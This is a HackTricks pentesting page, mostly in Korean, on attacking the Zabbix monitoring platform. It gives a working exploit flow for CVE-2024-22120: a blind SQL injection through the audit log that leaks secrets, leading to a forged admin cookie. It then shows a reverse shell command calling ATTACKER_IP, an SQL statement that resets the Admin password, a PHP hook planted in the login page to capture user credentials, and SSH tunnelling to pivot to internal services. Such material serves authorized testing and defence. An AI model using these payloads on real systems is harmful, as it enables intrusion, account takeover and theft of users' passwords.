Zabbix 보안

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

개요

Zabbix는 web UI(일반적으로 Apache/Nginx 뒤)와 TCP/10051(server/trapper)에서 Zabbix 프로토콜을 사용하는 server 컴포넌트 및 TCP/10050의 agent를 노출하는 모니터링 플랫폼입니다. 평가 중에 다음을 마주칠 수 있습니다:

  • Web UI: zabbix.example.tld 같은 HTTP(S) 가상 호스트
  • Zabbix server 포트: 10051/tcp (JSON over a ZBXD header framing)
  • Zabbix agent 포트: 10050/tcp

유용한 cookie 형식: zbx_session은 최소한 sessionid, serverCheckResult, serverCheckTime 및 sign을 포함하는 compact JSON 객체의 Base64입니다. sign은 JSON 페이로드의 HMAC입니다.

최근 Zabbix 버전은 cookie를 다음과 같이 계산합니다:

  • data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
  • sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
  • Final cookie: Base64(JSON_with_sign)

global session_key와 유효한 admin sessionid를 회수할 수 있다면, 오프라인에서 유효한 Admin cookie를 위조해 UI에 인증할 수 있습니다.

CVE-2024-22120 — Zabbix Server audit log의 time-based blind SQLi

공개 문서상의 영향을 받는 버전:

  • 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1

취약점 요약:

  • Script 실행이 Zabbix Server 감사 로그에 기록될 때 clientip 필드가 정화되지 않고 SQL에 이어붙여져, server 구성요소를 통해 time-based blind SQLi가 가능해집니다.
  • 이는 유효한 낮은 권한의 sessionid, 사용자가 접근 가능한 hostid, 그리고 허용된 scriptid로 조작된 "command" 요청을 Zabbix server 포트 10051로 전송함으로써 악용할 수 있습니다.

전제조건 및 발견 팁:

  • sessionid: web UI의 guest/login에서 zbx_session(Base64)을 디코드하여 sessionid를 얻습니다.
  • hostid: web UI 요청(예: Monitoring → Hosts)을 관찰하거나 프록시로 가로채서 확인합니다; 일반 기본값은 10084입니다.
  • scriptid: 현재 역할에 허용된 스크립트만 실행됩니다; 스크립트 메뉴/AJAX 응답을 검사하여 확인하세요. 1 또는 2 같은 기본값이 종종 허용되며, 3은 거부될 수 있습니다.

Exploitation flow

  1. clientip에 SQLi를 포함해 감사 로그 삽입 트리거
  • TCP/10051에 연결하여 request="command"를 포함한 Zabbix 프레임 메시지를 보내고, sid, hostid, scriptid 및 clientip를 서버가 이어붙여 평가할 SQL 표현으로 설정합니다.

Minimal message (JSON body) fields:

json
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}

전체 와이어 포맷은: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON입니다. 프레이밍에는 pwntools나 자체 socket 코드를 사용할 수 있습니다.

  1. Time-bruteforce secrets via conditional sleep

조건부 표현식을 사용해 응답 시간을 측정함으로써 hex-encoded secrets를 한 글자씩 leak합니다. 실제로 작동한 예:

  • Leak global session_key from config:
sql
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
  • Leak Admin session_id (userid=1)을 sessions에서:
sql
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)

참고:

  • charset: 32 hex chars [0-9a-f]
  • Pick T_TRUE >> T_FALSE (e.g., 10 vs 1) 및 각 시도마다 실제 경과 시간을 측정
  • Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing won’t work
  1. Forge Admin cookie

Once you have:

  • session_key: 32-hex from config.session_key
  • admin_sessionid: 32-hex from sessions.sessionid for userid=1

Compute:

  • sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
  • zbx_session = Base64(JSON_with_sign)

Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.

준비된 도구

  • Public PoC automates: bruteforce of session_key and admin sessionid, and cookie forging; requires pwntools and requests.
  • Parameters to provide typically include: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, and optionally a known --admin-sid to skip brute.

스크립트 실행을 통한 RCE (관리자 권한 획득 후)

UI에서 Admin 접근 권한이 있으면 모니터링된 호스트에 대해 미리 정의된 Scripts를 실행할 수 있습니다. 에이전트/호스트가 로컬에서 스크립트 명령을 실행하면 해당 시스템에서 코드 실행이 발생합니다(대부분 Linux 호스트에서는 zabbix 사용자로 실행됨):

  • Quick check: run id to confirm user context
  • Reverse shell example:
bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

TTY upgrade (Linux):

bash
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset

DB 접근 권한이 있다면, 쿠키를 위조하는 대신 Admin 비밀번호를 문서화된 bcrypt 값으로 재설정할 수 있습니다:

sql
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';

Credential capture via login hook (post-exploitation)

만약 web UI server에서 file write가 가능하다면, form-based login 분기 주변의 /usr/share/zabbix/index.php에 로그 스니펫을 임시로 추가하여 capture credentials할 수 있습니다:

php
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}

사용자는 정상적으로 인증합니다; 작업 후 /dev/shm/creds.txt를 읽으세요. 작업이 끝나면 hook을 제거하세요.

내부 서비스로 피벗

서비스 계정의 shell이 /usr/sbin/nologin이어도, SSH authorized_keys 항목을 추가하고 -N -L을 사용하면 로컬 포트 포워딩으로 루프백 전용 서비스(예: 8111의 CI/CD)에 접근할 수 있습니다:

bash
ssh -i key user@host -N -L 8111:127.0.0.1:8111

더 많은 터널링 패턴은 다음에서 확인하세요: Tunneling and Port Forwarding.

운영 팁

  • 현재 role에 대해 scriptid가 허용되는지 검증하세요 (guest는 제한된 집합을 가질 수 있음)
  • Timing brute는 느릴 수 있으므로, 복구한 admin sessionid를 캐시해 재사용하세요
  • 10051로 전송되는 JSON은 ZBXD\x01 헤더와 little-endian 길이로 프레이밍되어야 합니다

참고 자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기